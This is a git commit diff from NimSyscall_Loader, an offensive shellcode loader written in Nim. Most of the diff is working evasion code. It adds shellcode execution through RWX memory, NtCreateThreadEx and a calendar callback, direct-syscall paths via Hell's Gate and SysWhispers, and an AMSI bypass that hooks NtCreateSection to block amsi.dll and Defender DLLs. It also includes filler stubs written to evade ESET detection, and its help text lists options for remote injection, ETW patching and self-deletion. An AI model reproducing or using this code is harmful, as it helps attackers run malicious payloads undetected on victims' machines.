More options, current dev tests

This commit is contained in:
S3cur3Th1sSh1t
2022-10-29 15:47:31 +02:00
parent 4c5570c1b3
commit d500a23882
11 changed files with 1560 additions and 154 deletions
+124 -122
View File
@@ -21,135 +21,137 @@ proc pwndem[byte](friendlycode: openarray[byte]): void =
when defined(verbose):
echo obf("Failed to hook Sleep for Shellcode-Fluctuation!")
when defined(amd64):
when defined(DInvoke):
let tProcess = MyGetCurrentProcessId()
var pHandle: HANDLE = MyGetCurrentProcess()
else:
let tProcess = GetCurrentProcessId()
var pHandle: HANDLE = GetCurrentProcess()
var
status : NTSTATUS = 0x00000000
buffer : LPVOID
dataSz : SIZE_T = cast[SIZE_T](friendlycode.len)
when defined(GetSyscallStub):
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
var oldProtection: DWORD = 0
var success: BOOL
# define NtAllocateVirtualMemory
let NtAllocateVirtualMemory = cast[myNtAllocateVirtualMemory](cast[LPVOID](syscallStub_NtAlloc))
when defined(DInvoke):
let tProcess = MyGetCurrentProcessId()
var pHandle: HANDLE = MyGetCurrentProcess()
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
let tProcess = GetCurrentProcessId()
var pHandle: HANDLE = GetCurrentProcess()
var
status : NTSTATUS = 0x00000000
buffer : LPVOID
dataSz : SIZE_T = cast[SIZE_T](friendlycode.len)
when defined(GetSyscallStub):
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
var oldProtection: DWORD = 0
var success: BOOL
# define NtAllocateVirtualMemory
let NtAllocateVirtualMemory = cast[myNtAllocateVirtualMemory](cast[LPVOID](syscallStub_NtAlloc))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
success = VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
# define NtWriteVirtualMemory
let NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
success = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
success = GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](syscallStub_NtAlloc))
success = GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](syscallStub_NtWrite))
when defined(LocalCreateThread):
var syscallStub_NtCreate: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE)
# define NtCreateThreadEx
let NtCreateThreadEx = cast[myNtCreateThreadEx](cast[LPVOID](syscallStub_NtCreate))
VirtualProtect(cast[LPVOID](syscallStub_NtCreate), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);
success = GetSyscallStub("NtCreateThreadEx", cast[LPVOID](syscallStub_NtCreate))
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
when defined(SysWhispers):
status = oqiahsjynmxkla(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
success = VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
# define NtWriteVirtualMemory
let NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
status = NtAllocateVirtualMemory(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
success = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[+] Allocated a page of memory with RWX perms")
var bytesWritten: SIZE_T
when defined(Hellsgate):
var
ntWritefuncHash : uint64 = djb2_hash(obf("NtWriteVirtualMemory"))
ntWriteTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntWritefuncHash)
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
when defined(SysWhispers):
status = oqiazasusjk(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
else:
status = NtWriteVirtualMemory(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to write memory.")
else:
when defined(verbose):
echo obf("[+] NtWriteVirtualMemory - wrote bytes ") & fmt"{bytesWritten}"
success = GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](syscallStub_NtAlloc))
success = GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](syscallStub_NtWrite))
when defined(LocalCreateThread):
var tHandle: HANDLE
when defined(SysWhispers):
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,pHandle,buffer,NULL, FALSE, 0, 0, 0, NULL)
NtWaitForSingleObject(tHandle, 0, nil)
status = zuatzuastdiasyy(tHandle)
status = zuatzuastdiasyy(pHandle)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
else:
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
nil,
-1,
buffer,
nil, FALSE, 0, 0, 0, nil)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
# Somehow not working
#var TimeOut: LARGE_INTEGER = cast[LARGE_INTEGER](-1)
#NtWaitForSingleObject(-1, 0, &TimeOut)
WaitForSingleObject(-1, -1)
when defined(Hellsgate):
when defined(Hellsgate):
if getSyscall(ntCloseTable):
syscall = ntCloseTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtClose")
status = NtClose(tHandle)
status = NtClose(pHandle)
var syscallStub_NtCreate: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE)
# define NtCreateThreadEx
let NtCreateThreadEx = cast[myNtCreateThreadEx](cast[LPVOID](syscallStub_NtCreate))
VirtualProtect(cast[LPVOID](syscallStub_NtCreate), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);
success = GetSyscallStub("NtCreateThreadEx", cast[LPVOID](syscallStub_NtCreate))
when defined(Hellsgate):
if getSyscall(ntAllocTable):
syscall = ntAllocTable.wSysCall
else:
let f = cast[proc(){.nimcall.}](buffer)
f()
when defined(verbose):
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
when defined(SysWhispers):
status = oqiahsjynmxkla(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
else:
status = NtAllocateVirtualMemory(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to allocate memory.")
else:
when defined(verbose):
echo obf("[+] Allocated a page of memory with RWX perms")
var bytesWritten: SIZE_T
when defined(Hellsgate):
var
ntWritefuncHash : uint64 = djb2_hash(obf("NtWriteVirtualMemory"))
ntWriteTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntWritefuncHash)
if getSyscall(ntWriteTable):
syscall = ntWriteTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
when defined(SysWhispers):
status = oqiazasusjk(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
else:
status = NtWriteVirtualMemory(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
if not NT_SUCCESS(status):
when defined(verbose):
echo obf("[-] Failed to write memory.")
else:
when defined(verbose):
echo obf("[+] NtWriteVirtualMemory - wrote bytes ") & fmt"{bytesWritten}"
when defined(LocalCreateThread):
var tHandle: HANDLE
when defined(SysWhispers):
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,pHandle,buffer,NULL, FALSE, 0, 0, 0, NULL)
NtWaitForSingleObject(tHandle, 0, nil)
status = zuatzuastdiasyy(tHandle)
status = zuatzuastdiasyy(pHandle)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
else:
when defined(Hellsgate):
if getSyscall(ntCreateTable):
syscall = ntCreateTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
status = NtCreateThreadEx(
&tHandle,
THREAD_ALL_ACCESS,
nil,
-1,
buffer,
nil, FALSE, 0, 0, 0, nil)
when defined(verbose):
echo obf("[*] NtCreateThreadEx: "), toHex(status)
# Somehow not working
#var TimeOut: LARGE_INTEGER = cast[LARGE_INTEGER](-1)
#NtWaitForSingleObject(-1, 0, &TimeOut)
WaitForSingleObject(-1, -1)
when defined(Hellsgate):
when defined(Hellsgate):
if getSyscall(ntCloseTable):
syscall = ntCloseTable.wSysCall
else:
when defined(verbose):
echo obf("[-] Failed to find opcode for NtClose")
status = NtClose(tHandle)
status = NtClose(pHandle)
when defined(Callback):
discard EnumCalendarInfoA(cast[CALINFO_ENUMPROCA](buffer),1,1,1)
WaitForSingleObject(-1, -1)
else:
let f = cast[proc(){.nimcall.}](buffer)
f()
when isMainModule:
pwndem(dectext)
+201 -1
View File
@@ -135,6 +135,206 @@ when isMainModule:
"""
let AMSINtCreateSectionHookStub * = """
import winim/lean
import strutils
type
typeNtCreateSection* = proc (SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
FileHandle: HANDLE): NTSTATUS {.stdcall.}
type
MyNtFlushInstructionCache* = proc (ProcessHandle: HANDLE, BaseAddress: PVOID, NumberofBytestoFlush: ULONG): NTSTATUS {.stdcall.}
type
HookedNtCreate* {.bycopy.} = object
origNtCreate*: typeNtCreateSection
ntCreateStub*: array[16, BYTE]
HookTrampolineBuffers* {.bycopy.} = object
originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking.
originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
previousBytes*: HANDLE
previousBytesSize*: DWORD
var ntdlldll = LoadLibraryA("ntdll.dll")
if (ntdlldll == 0):
when defined(verbose):
echo obf("[X] Failed to load ntdll.dll")
var NtFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache")
if isNil(NtFlushInstructionCacheAddress):
when defined(verbose):
echo obf("[X] Failed to get the address of 'NtFlushInstructionCache'")
var NtFlushInstructionCache*: MyNtFlushInstructionCache
NtFlushInstructionCache = cast[MyNtFlushInstructionCache](NtFlushInstructionCacheAddress)
proc hookntCreateSection*(): bool
proc fastTrampoline*(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID;
buffers: ptr HookTrampolineBuffers = nil): bool
var g_hookedNtCreate*: HookedNtCreate
var ntCreate_Address*: HANDLE
var NtCreateSection*: typeNtCreateSection
proc MyNtCreateSection(SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
FileHandle: HANDLE): NTSTATUS
proc restore_hook_ntcreatesection(SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
FileHandle: HANDLE): BOOL =
var buffers: HookTrampolineBuffers
buffers.originalBytes = cast[HANDLE](addr g_hookedNtCreate.ntCreateStub[0])
buffers.originalBytesSize = DWORD(sizeof(g_hookedNtCreate.ntCreateStub))
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection"))
var trampolinesuccess: bool = fastTrampoline(false, cast[LPVOID](ntCreate_Address), cast[LPVOID](MyNtCreateSection), &buffers)
if (trampolinesuccess == false):
when defined(verbose):
echo obf("Failed to install trampoline")
quit(1)
else:
when defined(verbose):
echo obf("Restored old function values!")
when defined(verbose):
echo obf("Calling real NtCreateSection\r\n")
NtCreateSection = cast[typeNtCreateSection](addressToHook)
discard NtCreateSection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle)
when defined(verbose):
echo obf("RE-Hooking")
hookntCreateSection()
proc MyNtCreateSection(SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
FileHandle: HANDLE): NTSTATUS =
if(FileHandle != 0):
var lpFileName: array[4096, WCHAR]
var res: DWORD = GetFinalPathNameByHandle(FileHandle, cast[LPWSTR](addr lpFileName), DWORD(256), DWORD(FILE_NAME_OPENED or VOLUME_NAME_DOS)) # Get the file path of the file handle
if (res == 0):
when defined(verbose):
echo obf("[X] Failed to get the file path of the file handle")
else:
when defined(verbose):
echo obf("GetFinalPathNameByHandleA success")
var dllName: string = $$cast[LPWSTR](cast[int](addr lpFileName) + 8)
when defined(verbose):
echo obf("Following DLL wants to be loaded: "), $$cast[LPWSTR](cast[int](addr lpFileName) + 8)
if(("amsi.dll" in dllName) or ("MpOAV.dll" in dllName) or ("MpClient.dll" in dllName) or ("MsMpLics.dll" in dllName)):
when defined(verbose):
echo obf("[X] AMSI is being loaded")
echo obf("Stopping it")
return 0 # Return 0 to prevent AMSI from being loaded
# If set -1, will trigger SEH exception and will show an error in the screen (but also works)
else:
if(restore_hook_ntcreatesection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle)): #If it's not an AMSI DLL restore the original NtCreateSection
when defined(verbose):
echo obf("Restore success")
proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID;
buffers: ptr HookTrampolineBuffers): bool =
var trampoline: seq[byte]
if defined(amd64):
trampoline = @[
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10
]
var tempjumpaddr: uint64 = cast[uint64](jumpAddress)
copyMem(&trampoline[2] , &tempjumpaddr, 6)
elif defined(i386):
trampoline = @[
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax
]
var tempjumpaddr: uint32 = cast[uint32](jumpAddress)
copyMem(&trampoline[1] , &tempjumpaddr, 3)
var dwSize: DWORD = DWORD(len(trampoline))
var dwOldProtect: DWORD = 0
var output: bool = false
if (installHook):
if (buffers != nil):
if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0):
when defined(verbose):
echo obf("Previous Bytes == 0")
return false
copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize)
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
when defined(verbose):
echo obf("Virtual Protect to RWX success!")
copyMem(addressToHook, addr trampoline[0], dwSize)
output = true
else:
when defined(verbose):
echo obf("Restoring old NtCreateSection!")
echo obf("Original Bytes restore address: "), toHex(buffers.originalBytes)
echo obf("Original Bytes Size: "), buffers.originalBytesSize
if (buffers != nil):
if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0):
when defined(verbose):
echo obf("Original Bytes == 0")
return false
dwSize = buffers.originalBytesSize
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize)
output = true
var status = NtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize)
if (status == 0):
when defined(verbose):
echo obf("NtFlushInstructionCache success")
else:
when defined(verbose):
echo obf("NtFlushInstructionCache failed: "), toHex(status)
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect)
return output
proc hookntCreateSection(): bool =
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection"))
ntCreate_Address = cast[HANDLE](addressToHook)
var buffers: HookTrampolineBuffers
var output: bool = false
if (addressToHook == nil):
return false
buffers.previousBytes = cast[HANDLE](addressToHook)
buffers.previousBytesSize = DWORD(sizeof(addressToHook))
g_hookedNtCreate.origNtCreate = cast[typeNtCreateSection](addressToHook)
var PointerToOrigBytes: LPVOID = addr g_hookedNtCreate.ntCreateStub
copyMem(PointerToOrigBytes, addressToHook, 16)
output = fastTrampoline(true, cast[LPVOID](addressToHook), cast[LPVOID](MyNtCreateSection), &buffers)
return output
var hooksuccess = hookntCreateSection()
when defined(verbose):
echo obf("Hook:"), hooksuccess
"""
let AMSIProviderPatchStub * = """
from winregistry/winregistry import RegHandle,open,enumSubkeys,readString,samRead,enumValueNames
@@ -360,7 +560,7 @@ proc PatchAmsi(): bool =
#cs = cs + 0x83 # Old value for Win10 to change JNZ to JZ. Credit to @MrUn1k0d3r - https://players.brightcove.net/3755095886001/default_default/index.html?videoId=6308564004112
else:
#cs = cs + 0x75 # old value
css = cs + 0x47 # Since Win11, there is no more JNZ, but JZ So we're going to patch the JZ to JNZ
cs = cs + 0x47 # Since Win11, there is no more JNZ, but JZ So we're going to patch the JZ to JNZ
var oldProtection: DWORD = 0
var success: BOOL
var protectAddress = cs
+48 -16
View File
@@ -69,9 +69,30 @@ type
type
LdrLoadDll_t* = proc (PathToFile: PWCHAR, Flags: ULONG, ModuleFileName: PUNICODE_STRING, ModuleHandle: PHANDLE): NTSTATUS {.stdcall.}
# toDo: Syscall
proc RtlGetCurrentPeb*(): pointer
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlGetCurrentPeb".}
when defined(DInvoke):
type
RtlGetCurrentPeb_t* = proc (): pointer {.stdcall.}
RtlInitUnicodeString_t* = proc(DestinationString: PUNICODE_STRING, SourceString: PCWSTR): VOID {.stdcall.}
const
RtlGetCurrentPeb_HASH * = obf("RtlGetCurrentPeb")
RtlInitUnicodeString_HASH * = obf("RtlInitUnicodeString")
var MyRtlGetCurrentPeb*: RtlGetCurrentPeb_t
var MyRtlInitUnicodeString*: RtlInitUnicodeString_t
# temporary - to fix later
proc RtlGetCurrentPeb*(): pointer
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlGetCurrentPeb".}
else:
proc RtlGetCurrentPeb*(): pointer
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlGetCurrentPeb".}
#[ This was the older alternative, which was the trigger for ESET to flag the resulting binaries, therefore I replaced that with RtlGetCurrentPeb.
proc GetPPEB(p: culong): P_PEB {.
@@ -85,22 +106,32 @@ proc GetPPEB(p: culong): P_PEB {.
"""
let DInvokeGetPEB * = fmt"""
import random
proc calcRand *(): int =
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE
proc get_function_address*(hLibrary: HMODULE; fhash: cstring; ordinal: int, specialCase: BOOL): PVOID
const
NTDLL_DLL* = obf("ntdll.dll")
proc calcSomething *(): int =
var rand: int = 0
for i in 0 .. 10:
rand += rand(0..100)
rand += 15
if ((rand mod 9) != 0):
rand += rand(0..100)
rand += 15
return rand
proc GetPPEB * (p: culong): P_PEB =
randomize()
# We need to put any stuff before and after this function, to avoid an ESET detection. It flags any Nim binary that uses this function alone.
{getRandStubInFunc()}
discard calcRand()
return cast[P_PEB](RtlGetCurrentPeb())
discard calcRand()
discard calcSomething()
when defined(DInvoke):
#MyRtlGetCurrentPeb = cast[RtlGetCurrentPeb_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, TRUE)), RtlGetCurrentPeb_HASH, 0, FALSE)))
#return cast[P_PEB](MyRtlGetCurrentPeb())
return cast[P_PEB](RtlGetCurrentPeb())
else:
return cast[P_PEB](RtlGetCurrentPeb())
discard calcSomething()
{getRandStubInFunc()}
"""
@@ -120,8 +151,6 @@ const
LdrLoadDll_SW2_HASH * = obf("LdrLoadDll")
MZ* = 0x5A4D
const
NTDLL_DLL* = obf("ntdll.dll")
{getRandStub()}
@@ -138,8 +167,6 @@ proc `-`[T](a: ptr T, b: int): ptr T =
proc is_dll*(hLibrary: PVOID): BOOL
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE
proc get_function_address*(hLibrary: HMODULE; fhash: cstring; ordinal: int, specialCase: BOOL): PVOID
proc find_legacy_export*(hOriginalLibrary: HMODULE; fhash: cstring): PVOID
{getRandStub()}
@@ -185,6 +212,7 @@ proc is_dll*(hLibrary: PVOID): BOOL =
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE =
when defined(verbose):
echo "\r\n[*] Parsing the PEB to search for the target DLL\r\n"
echo "[*] Searching for: ", LibName
var Peb: PPEB = GetPPEB(PEB_OFFSET)
var Ldr = Peb.Ldr
var FirstEntry: PVOID = addr(Ldr.InMemoryOrderModuleList.Flink)
@@ -217,9 +245,13 @@ proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE =
"""
let DInvokeStubThird * = """
when defined(DInvoke):
var MyRtlInitUnicodeString: RtlInitUnicodeString_t = cast[RtlInitUnicodeString_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, FALSE)), RtlInitUnicodeString_HASH, 0, TRUE)))
MyRtlInitUnicodeString(addr(ModuleFileName), LibName)
else:
RtlInitUnicodeString(addr(ModuleFileName), LibName)
RtlInitUnicodeString(&ModuleFileName, LibName)
#RtlInitUnicodeString(&ModuleFileName, LibName)
#echo fmt"Copyied {LibName} into {ModuleFileName} "
#echo "Error after:", $GetLastError()
+5 -1
View File
@@ -117,8 +117,12 @@ when defined(GetSyscallStub):
fileSize: DWORD
bytesRead: DWORD
fileData: PVOID
ntdllString: LPCSTR = obf("C:\\windows\\system32\\ntdll.dll")
ntdllString: LPCSTR
nullHandle: HANDLE
when defined(wow64):
ntdllString = obf("C:\\windows\\syswow64\\ntdll.dll")
else:
ntdllString = obf("C:\\windows\\system32\\ntdll.dll")
when defined(DInvoke):
file = MyCreateFileA(ntdllString, cast[DWORD](GENERIC_READ), cast[DWORD](FILE_SHARE_READ), cast[LPSECURITY_ATTRIBUTES](NULL), cast[DWORD](OPEN_EXISTING), cast[DWORD](FILE_ATTRIBUTE_NORMAL), nullHandle)
fileSize = MyGetFileSize(file, nil)
+37 -5
View File
@@ -63,7 +63,7 @@ let helpmenu = """
NimSyscall_Loader v 1.7
Usage:
NimSyscall_Loader [--file=file_to_encrypt --key=<key> --output=<output> --large --noRES --shellcodeFile=<shellcodeFile> --shellcodeURL=<shellcodeURL> --dll --dllexportfunc=<exportfuncname> --dllhijack --clone=<dllToClone> --cpl --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --AMSIProviderPatch --sleep=<10> --shellcode --localCreateThread --COMVARETW --remoteinject --customprocess=<processname> --remoteprocess=<processnames> --remotepatchAMSI --remotepatchETW --unhook --reflective --obfuscate --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2>, --domain=<targetdomain> --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --llvm --sign --signdomain=<exampledomain> --antidebug --sleepycrypt --fluctuate --interactivePS]
NimSyscall_Loader [--file=file_to_encrypt --key=<key> --output=<output> --large --noRES --shellcodeFile=<shellcodeFile> --shellcodeURL=<shellcodeURL> --dll --dllexportfunc=<exportfuncname> --dllhijack --clone=<dllToClone> --cpl --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --shellcode --CallbackExecute --localCreateThread --COMVARETW --remoteinject --customprocess=<processname> --remoteprocess=<processnames> --remotepatchAMSI --remotepatchETW --unhook --reflective --obfuscate --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2>, --domain=<targetdomain> --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain=<exampledomain> --antidebug --sleepycrypt --fluctuate --interactivePS]
NimSyscall_Loader (-h | --help)
NimSyscall_Loader --version
@@ -85,7 +85,8 @@ Options:
--APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE'
--reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded
--debug Compiles the binary in debug mode
--x86 (Compiles an x86 binary - have to cast some more function values before this works smoothly)
--x86 Compiles an x86 binary
--wow64 (Compiles a x86 binary that can be by x64 CPUs)
--large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it
--noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option.
--verbose Prints output to the console (for troubleshooting purposes)
@@ -113,6 +114,7 @@ Options:
--sgn Encode shellcode via SGN before encrypting it´
--replace Replace common nim IoC's in the loader like the string 'nim'
--AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf)
--AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) -> Prevent Loading works, but C# Loading fails for some reason
--sandbox value Include Sandbox Checks of your choice into the loader:
Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems
DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one
@@ -143,6 +145,7 @@ Options:
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime
--CallbackExecute Execute shellcode via a custom Callback function
--localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode
--remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection
--customprocess procname Spawn a custom process (instead of notepad) for remote injection
@@ -205,9 +208,11 @@ var
embeddedArguments : bool = false
AMSI: bool = true
AMSIProviderPatch: bool = false
AMSICreateSectionHook: bool = false
ETW: bool = true
COMVARETW: bool = false
shellcode: bool = true
callbackexecute: bool = false
localCreateThread: bool = false
localinject: bool = true
unhook: bool = false
@@ -239,6 +244,7 @@ var
sign: bool = false
signdomain: string = "www.microsoft.com"
compileX86: bool = false
wow64: bool = false
noassembly: bool = false
sleepycrypt: bool = false
fluctuate: bool = false
@@ -267,6 +273,9 @@ if args["--shellcode"]:
csharp = false
peload = false
if args["--CallbackExecute"]:
callbackexecute = true
if args["--localCreateThread"]:
localCreateThread = true
@@ -359,6 +368,10 @@ if args["--AMSIProviderPatch"]:
AMSIProviderPatch = true
AMSI = false
if args["--AMSINtCreateSectionHook"]:
AMSICreateSectionHook = true
AMSI = false
if args["--noETW"]:
ETW = false
@@ -473,6 +486,12 @@ if args["--antidebug"]:
if args["--x86"]:
compileX86 = true
noDInvoke = true # many bugs for x86 + DInvoke, investigation will take time.
if args["--wow64"]:
wow64 = true
compileX86 = true
noDInvoke = true # many bugs for x86 + DInvoke, investigation will take time.
if args["--verbose"]:
verbose = true
@@ -1253,9 +1272,15 @@ if (getfreshstub):
if (syswhispers):
if(jump):
stub.add(WhispersJumpStub)
if (not compileX86):
stub.add(WhispersJumpStub)
else:
stub.add(WhispersJumpStubX86)
else:
stub.add(WhispersStub)
if (not compileX86):
stub.add(WhispersStub)
else:
stub.add(WhispersStubX86)
stub.add(getRandStub())
@@ -1318,6 +1343,8 @@ if (localinject):
stub.add(AMSIStub)
elif(AmsiProviderPatch):
stub.add(AMSIProviderPatchStub)
elif(AMSICreateSectionHook):
stub.add(AMSINtCreateSectionHookStub)
if (ETW):
if (COMVARETW):
stub.add(ETWCOMVARStub)
@@ -1563,6 +1590,8 @@ elif system.hostOS == "linux":
if(denim):
basicCompileFlags.add("-d:denim ")
if(callbackexecute):
basicCompileFlags.add("-d:Callback ")
if(hellsgate):
basicCompileFlags.add("-d:Hellsgate ")
@@ -1583,7 +1612,7 @@ if embeddedArguments:
if (big):
